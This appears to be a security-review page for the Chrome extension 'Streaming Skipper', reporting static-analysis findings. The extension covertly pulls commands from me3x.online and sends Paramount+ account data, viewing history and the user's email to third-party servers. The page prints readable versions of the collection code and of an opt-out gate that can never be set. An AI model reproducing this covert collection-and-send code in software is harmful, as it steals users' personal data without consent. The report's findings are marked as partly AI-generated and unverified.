Is Streaming Skipper – Skip Ads, Intros & Recaps [QVI] safe?

Low risk

Streaming Skipper reports your Paramount+ account activity to a third-party server and sends your email address to a second one.

While you're logged into paramountplus.com, the extension fetches remote 'commands' from me3x.online and uses them to collect your account and profile IDs, continue-watching history, subscription/plan details, and live-TV viewing events, sending all of it back to that server using your own Paramount session. When it reads your subscription details, it also sends your real email address, account ID, and country to a second server, metricsmint.quest, tagged with a persistent per-install ID generated for your browser.

ToopExtv1.1.31Chrome Web Store
24Risk
Who publishes it

HideApp LLC - 37 other listings from the same operator, 2 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
ToopExt
Declared legal entity
HideApp LLC

Shared hosts - 1 hostname

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

toopextensions.com
Also called by 1 other listing: Film ratings for Netflix: now HBO Max & Prime [QVI]

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Streaming Skipper sends your Paramount+ viewing activity to me3x.online

On every paramountplus.com page you load while logged in, the extension fetches instructions from me3x.online, then reports your account/profile IDs, continue-watching history, subscription details, and live-TV viewing events back to it.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-506
Source
Static analysis
What actually happens
You did this

The user opens any paramountplus.com page while logged into their Paramount+ account.

The extension did this

The extension posts the user's account ID, profile ID, and device identifiers to me3x.online and receives a list of commands to execute.

Identifiers sent to me3x.online on every visit
  • Paramount+ account & profile ID
    accountId: 8841203, profileId: 2

    Directly identifies your Paramount+ account and which profile on it you're using.

  • Persistent extension ID
    extensionUserId: 6f2a9e31-8b7c-4c9a-9e1a-3f7b0c5d2e11

    A random ID created once and stored locally, so every report from your browser is linked together even if other identifiers change.

  • Device and browser details
    hid: a93f2b7e, en-US, GMT-4

    Your timezone offset, browser language, and a device hardware ID add fingerprinting detail to your profile.

  • Chrome install ID
    chrome.runtime.id: jnednbilgloghpmmjcaaikkoajcklalm

    The extension's own Chrome install identifier is included with every report.

The code that does this

The command-server config and the request it drives

Readable version

Config with fields resolved

// Field names resolved from the extension's own webpack import comments// (e.g. "config/* nodeRootUrl */.uL" elsewhere in the same file).const config = {  rootUrl: "https://me3x.online/",       // Ec  revision: "ad3d7c8e",                  // QL  nodeRootUrl: "https://me3x.online/n/", // uL  piUrl: "https://metricsmint.quest/up"  // d1};

fetchCommandsToSend, renamed

const BASE_ROUTE = config.nodeRootUrl; // "https://me3x.online/n/"async function fetchCommandsToSend(initData) {  // initData carries accountId, profileId, extensionUserId, device hid,  // timezone offset, browser language, country, and the opt-out flags.  return postPlainJsonRequest(BASE_ROUTE + "paramount/start", initData);}
What each server-selected command does
  1. immediate

    You did

    The command server returns a continue_watching command.

    The extension did

    The extension fetches the user's continue-watching feed from Paramount using the user's own session cookie and uploads titles and progress to me3x.online.

  2. immediate

    You did

    The command server returns a subscriptions command.

    The extension did

    The extension loads the account page, parses the embedded plan data, and uploads it to me3x.online.

  3. immediate

    You did

    The command server returns a profiles command.

    The extension did

    The extension queries Paramount's own profile API using the user's session and uploads the profile list to me3x.online.

When this fires

Every 5 minutes

While a live-tv stream page stays open, the extension reports viewing status every 5 minutes and again whenever the detected program changes.

Third-party destinations
    • me3x.online

    Receives account and profile identifiers plus watch, subscription, and live-viewing data; also serves the 'commands' that tell the extension what to collect on each visit.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Streaming Skipper sends your email and account ID to metricsmint.quest

When the subscriptions command runs, the extension reads your account email, account ID, and country and base64-encodes them to metricsmint.quest.

The opt-out setting meant to gate this is never wired to any control, so it can never be set.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-359
Source
Static analysis
What actually happens
You did this

The extension's subscriptions command loads the user's Paramount+ account page and parses the embedded profile data.

The extension did this

It reads the account email, account ID, and country, then sends them, base64-encoded, to metricsmint.quest.

Data sent to metricsmint.quest
  • Account email
    customer_email: jane.doe@example.com (illustrative)

    Your real Paramount+ email address is sent to a server unrelated to Paramount.

  • Account ID
    account_id: 8841203

    Your numeric Paramount+ account ID ties the sent email to a specific account.

  • Registration country
    customer_country: US

    The country you registered with adds location context to the profile.

  • Persistent extension ID
    extension_user_id: 6f2a9e31-8b7c-4c9a-9e1a-3f7b0c5d2e11

    The same install-linked ID used elsewhere ties this send to your other reports.

Why you can't catch this in DevTools

The request body is base64-encoded JSON rather than a normal form or JSON POST, so casual inspection of the network request doesn't show the fields in plain text.

Decoded value
{\"svod\":\"paramount\",\"account_id\":\"8841203\",\"extension_user_id\":\"6f2a9e31-8b7c-4c9a-9e1a-3f7b0c5d2e11\",\"customer_email\":\"jane.doe@example.com\",\"customer_country\":\"US\"} (illustrative)
The code that does this

The opt-out check that can never be satisfied

Readable version

The gate, renamed and annotated

// getOptedOut() only returns true when the storage key is strictly === false.// The key checked here, 'sharePersonalData', is never written anywhere in the// extension: only 'shareInsights' gets a default value (background.js) and a// UI control (optionPage.js). So chrome.storage.sync.get('sharePersonalData')// always resolves undefined, and this PII send is always live.async function isOptedOutPii() {  const value = (await chrome.storage.sync.get("sharePersonalData")).sharePersonalData;  return value === false;}async function provideSubscriptionsData(config) {  const json = JSON.parse(subscriptionsScriptTag.textContent);  if (!(await isOptedOutPii())) {    await handleAdditionalProfileData(json); // sends email/account_id/country  }  return json;}

The only opt-out control the UI actually has

optionPage.js
// optionPage.js only wires up 'shareInsights'; there is no control anywhere// in options.html for 'sharePersonalData'.const shareInsights = document.querySelector('#shareInsights');shareInsights.addEventListener('change', () => {    chrome.storage.sync.set({ shareInsights: shareInsights.checked });});
Third-party destinations
    • metricsmint.quest

    Receives the user's account email, account ID, and country whenever the subscriptions command runs; separate from me3x.online, the extension's main command-and-control domain.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Where it sends data

Destinations our analysis observed Streaming Skipper – Skip Ads, Intros & Recaps [QVI] contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • metricsmint.questwidely used

    Streaming Skipper – Skip Ads, Intros & Recaps [QVI] sends data to metricsmint.quest. A widely used service: 60 other extensions we have analyzed send data here.

  • me3x.onlinewidely used

    Streaming Skipper – Skip Ads, Intros & Recaps [QVI] sends data to me3x.online. A widely used service: 58 other extensions we have analyzed send data here.

Updated 30 September 2026jnednbilgloghpmmjcaaikkoajcklalm